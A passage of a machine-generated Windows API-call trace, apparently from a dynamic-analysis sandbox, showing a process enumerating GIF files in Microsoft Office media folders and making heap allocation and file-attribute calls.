FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc30b2d00, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc30b2d00, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0xb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14984_.GIF", cAlternateFileName="")) returned 1 [0069.148] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1da0000, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc1da0000, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x40, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14985_.GIF", cAlternateFileName="")) returned 1 [0069.148] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57254000, ftCreationTime.dwHighDateTime=0x1bd5ec1, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x57254000, ftLastWriteTime.dwHighDateTime=0x1bd5ec1, nFileSizeHigh=0x0, nFileSizeLow=0x40f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15018_.GIF", cAlternateFileName="")) returned 1 [0069.148] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bb99900, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca82e00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7bb99900, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15019_.GIF", cAlternateFileName="")) returned 1 [0069.148] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83dcdc00, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca82e00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x83dcdc00, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x63, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15020_.GIF", cAlternateFileName="")) returned 1 [0069.148] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82abaf00, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca82e00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x82abaf00, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15021_.GIF", cAlternateFileName="")) returned 1 [0069.148] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x817a8200, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca82e00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x817a8200, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15022_.GIF", cAlternateFileName="")) returned 1 [0069.148] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80495500, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca82e00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x80495500, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15023_.GIF", cAlternateFileName="")) returned 1 [0069.148] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95f37700, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcaa8f60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x95f37700, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xda, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15056_.GIF", cAlternateFileName="")) returned 1 [0069.148] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95f37700, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcaa8f60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x95f37700, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xda, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15057_.GIF", cAlternateFileName="")) returned 1 [0069.149] GetLastError () returned 0x12 [0069.149] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.149] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd4548c0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0069.211] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0069.211] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x103ca28, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x103ca28, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0069.211] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103ca28) returned 1 [0069.211] NtClose (Handle=0xec) returned 0x0 [0069.211] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.212] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.212] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.212] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.212] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0069.213] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd4548c0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.214] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b0e4a00, ftCreationTime.dwHighDateTime=0x1bd5ead, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9b0e4a00, ftLastWriteTime.dwHighDateTime=0x1bd5ead, nFileSizeHigh=0x0, nFileSizeLow=0x3d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10219_.GIF", cAlternateFileName="")) returned 1 [0069.214] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.214] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.214] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.214] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.214] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.215] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83a78 [0069.215] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.215] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f030 [0069.215] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x104f078 [0069.215] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.215] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8d9c300, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8d9c300, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x97e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10256_.GIF", cAlternateFileName="")) returned 1 [0069.215] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.215] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.215] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.215] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.215] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.215] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f050 [0069.215] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x104f180 [0069.215] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.215] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e031400, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e031400, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x124, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10289_.GIF", cAlternateFileName="")) returned 1 [0069.215] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.215] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.215] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.216] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.216] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.216] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f070 [0069.216] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x104f288 [0069.216] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.216] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e031400, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e031400, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x134, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10290_.GIF", cAlternateFileName="")) returned 1 [0069.216] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.216] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.216] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.216] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.216] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.216] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f090 [0069.216] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x104f390 [0069.216] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.216] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73f8f500, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x73f8f500, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x497, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10307_.GIF", cAlternateFileName="")) returned 1 [0069.216] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.216] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.216] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.216] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.217] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.217] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f0b0 [0069.217] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x104f498 [0069.217] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.217] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x752a2200, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x752a2200, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x27d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10308_.GIF", cAlternateFileName="")) returned 1 [0069.217] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.217] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.217] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.217] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.217] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.217] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f0d0 [0069.217] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x104f5a0 [0069.217] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.217] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68a6c900, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x68a6c900, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x3a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10358_.GIF", cAlternateFileName="")) returned 1 [0069.217] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.217] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.217] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.217] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.217] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.217] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f0f0 [0069.218] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x104f6a8 [0069.218] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.218] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91d2700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb91d2700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x160, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14516_.GIF", cAlternateFileName="")) returned 1 [0069.218] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.218] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.218] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.218] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.218] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.218] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f110 [0069.218] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x104f7b0 [0069.218] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x3340) returned 0x103ca28 [0069.218] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1055bc0) returned 1 [0069.218] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.218] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8d9c300, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbc906040, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8d9c300, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x617, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14538_.GIF", cAlternateFileName="")) returned 1 [0069.218] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.218] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.218] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.218] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.219] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.219] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f130 [0069.219] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x104f8b8 [0069.219] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.219] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa0af000, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbc906040, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaa0af000, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x5ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14539_.GIF", cAlternateFileName="")) returned 1 [0069.219] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.219] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.219] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.219] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.219] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.219] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f150 [0069.219] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x104f9c0 [0069.219] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.219] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a96b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x84a96b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x25b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14594_.GIF", cAlternateFileName="")) returned 1 [0069.219] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.219] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.219] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.219] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.219] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.220] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f170 [0069.220] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x104fac8 [0069.220] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.220] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a96b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x84a96b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14595_.GIF", cAlternateFileName="")) returned 1 [0069.220] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.220] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.220] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.220] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.220] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.220] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f190 [0069.220] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x104fbd0 [0069.220] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.220] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe2ea600, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe2ea600, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x11c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14677_.GIF", cAlternateFileName="")) returned 1 [0069.220] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.220] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.220] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.220] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.220] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.220] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f1b0 [0069.221] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x104fcd8 [0069.221] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.221] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdadef00, ftCreationTime.dwHighDateTime=0x1bd8f91, 